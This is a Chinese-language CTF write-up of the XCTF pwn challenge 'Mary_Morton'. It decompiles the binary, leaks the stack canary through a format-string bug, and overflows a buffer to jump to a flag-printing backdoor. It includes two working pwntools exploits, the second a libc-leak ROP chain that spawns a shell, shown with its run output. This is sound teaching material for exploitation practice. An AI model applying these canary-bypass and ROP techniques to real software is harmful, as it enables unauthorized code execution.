xctf-challenge-Mary_Morton

1:checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec Mary_Morton
[*] '/home/hunter/PWN/XCTF/xctf_challenge/Mary_Morton'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary NX防护打开

2:IDA

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_4009FF();                  #setbuf 
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA();           #输出提示符
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_4008EB();    #格式化字符串漏洞
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      sub_400960("%d", &v3);           #存在溢出
    else
      puts("Wrong!");
  }
}

后门:
int sub_4008DA()
{
  return system("/bin/cat ./flag");
}

如果没有后门这个题会让我呛得慌

函数sub_4008EB():

unsigned __int64 sub_4008EB()
{
  char buf; // [rsp+0h] [rbp-90h]     #别误以为buf是大小为90h的数组,擦亮眼睛
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(40u);
  memset(&buf, 0, 128uLL);
  read(0, &buf, 127uLL);          
  printf(&buf, &buf);
  return __readfsqword(40u) ^ v2;
}

read函数只能读入127个字符,无法溢出,显然只能利用下面的格式化字符串漏洞。
printf因为RELRO关闭可改写got表,以及其他数据,泄露地址那是基本能力。

函数sub_400960:

unsigned __int64 sub_400960()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(40u);
  memset(&buf, 0, 128uLL);
  read(0, &buf, 256uLL);
  printf("-> %s\n", &buf);
  return __readfsqword(40u) ^ v2;
}

这里read可以往buf地址处读入256个字符,而buf离RBP距离为90h所以存在溢出。但别忘了canary开启。
canary一般就在RBP上面,如果不记得了可以看汇编代码:

buf= byte ptr -90h
var_8= qword ptr -8
; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 90h
mov     rax, fs:28h
mov     [rbp+var_8], rax        #[rbp+var_8]就是rbp-8即rbp上面一个栈帧
xor     eax, eax
lea     rdx, [rbp+buf]

3:思路

综上

  • canary,NX开启
  • 整个程序存在格式化字符串漏洞和溢出漏洞
  • 存在后门
  • 所以利用格式化字符串漏洞泄露canary,每个char buf都会被插入cookie
  • padding+cookie绕过canary,控制程序流程

格式化字符串漏洞泄露偏移量

Welcome to the battle ! 
[Great Fairy] level pwned 
Select your weapon 
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
2
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAAAAAA0x7ffc11daed70.0x7f.0x7f82284ed081.(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
闹钟
64位就用8个A好看一点,偏移量是6
这作者还设了一个闹钟,很烦~~~

我们来看看sub_4008EB(字符串漏洞)函数的栈分布:

那么可以很容易算出cookie的偏移位置:(0x90-0x8)/8 + 6 ==>23.

来试一试:

hunter@hunter:~/PWN/XCTF/xctf_challenge$ ./Mary_Morton 
Welcome to the battle ! 
[Great Fairy] level pwned 
Select your weapon 
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
2
%23$pAAA
0xceb50cabb0ce3f00AAA                #千万记住你后面AAA会接在你泄露地址后面,别把他们当作泄露的一部分了
1. Stack Bufferoverflow Bug          #没错这个离谱的数就是cookie了,有离谱和末尾的00作证
2. Format String Bug 
3. Exit the battle 
闹钟

泄露成功!什么你说我泄露 sub_4008EB里面的cookie关sub_400960的cookie什么事?我说他们是周树人和鲁迅关系你信吗,反正我信了。

之后我们进入栈溢出函数构造payload即可实现跳转到后门。

溢出点计算

之前我以为有canary,溢出点就很难用gdb测出来了。其实并没有,我们来看看溢出函数栈是啥情况:
函数开始的部分汇编代码:

push    rbp
mov     rbp, rsp
sub     rsp, 90h
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
lea     rdx, [rbp+buf]

一般程序栈的返回地址,RBP/EBP会在最前面就布置好,就像上面那样,显然是一般函数的栈分布:

那么payload:’A’*(0x90-8) + p64(cookie) + ‘AAAAAAAA’ + p64(backdoor)

4:EXP

from pwn import*
context.log_level = 'debug'

sh = process('./Mary_Morton')
print sh.recv()

sh.sendline('2')
payload1 = '%23$pAAA'
sh.sendline(payload1)
cookie = int(sh.recvuntil('00'),16)
print cookie
sh.recv()

backdoor = 0x04008DA
sh.sendline('1')
payload2 = 'A'*(0x90-8) + p64(cookie) + 'AAAAAAAA' + p64(backdoor)
sh.sendline(payload2)

sh.interactive()

5:EXP无后门版

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('Mary_Morton')
system_plt = elf.symbols['system']
read_plt = elf.symbols['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss_addr = 0x0601080
door = 0x004008DA
pop_rdi_ret = 0x0400ab3
#main : 0x0400826
#RDI, RSI, RDX, RCX, R8 R9
#0x0000000000400659 : ret
#0x0400B2B cat
#0400ab3 : pop rdi ; ret
#0400960 overflow

sh = process('./Mary_Morton')
#sh = remote('220.249.52.133',40551)
sh.recv()
sh.sendline('2')

print "#############leaking the cookie#################"
payload = '%23$pAAA'
sh.sendline(payload)
sh.recvuntil('0x')
cookie = int(sh.recv(16),16)
sh.recv()
print cookie


print "#############leaking the puts_addr#################"
sh.sendline('1')
payload = 'A'*136 + p64(cookie) +'AAAAAAAA' 
payload += p64(0x0000000000400659)
#payload += p64(pop_rdi_ret) + p64(0x0400B2B) + p64(system_plt)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +p64(0x0000000000400659)+p64(0x0400826) 
#gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('\n')
tmp = sh.recv(6) + '\x00' + '\x00'
puts_addr = u64(tmp)

print "puts_addr==>" + str(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
print "libc_addr==>" + str(hex(libc_addr))
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr+libc.dump('str_bin_sh')
print sh.recv()
#gdb.attach(sh)
sh.sendline('1')

print "#############final attack#################"
payload2 = 'A'*136 + p64(cookie) + 'AAAAAAAA'
payload2 += p64(0x0000000000400659)
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

sh.sendline(payload2)


sh.interactive()


结果:
Welcome to the battle ! 
[Great Fairy] level pwned 
Select your weapon 
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 

[DEBUG] Sent 0x2 bytes:
    '1\n'
#############final attack#################
[DEBUG] Sent 0xb9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  00 d0 eb ef  e0 eb d0 4c  │AAAA│AAAA│····│···L│
    00000090  41 41 41 41  41 41 41 41  59 06 40 00  00 00 00 00  │AAAA│AAAA│Y·@·│····│
    000000a0  b3 0a 40 00  00 00 00 00  9a 4e 3a 79  16 7f 00 00  │··@·│····│·N:y│····│
    000000b0  40 04 24 79  16 7f 00 00  0a                        │@·$y│····│·│
    000000b9
[*] Switching to interactive mode
[DEBUG] Received 0x8c bytes:
    '-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
[*] Got EOF while reading in interactive
$  

  转载请注明: Squarer xctf-challenge-Mary_Morton

 上一篇
XCTF-CHALLENGE-WELPWM XCTF-CHALLENGE-WELPWM
1:checksechunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec welpwn [*] '/home/hunter/PWN/XCTF/xctf_challenge/welpwn'
2020-07-19
下一篇 
wiki-hijack GOT wiki-hijack GOT
1:原理在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO(即 partial RELRO)前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc
2020-07-17
  目录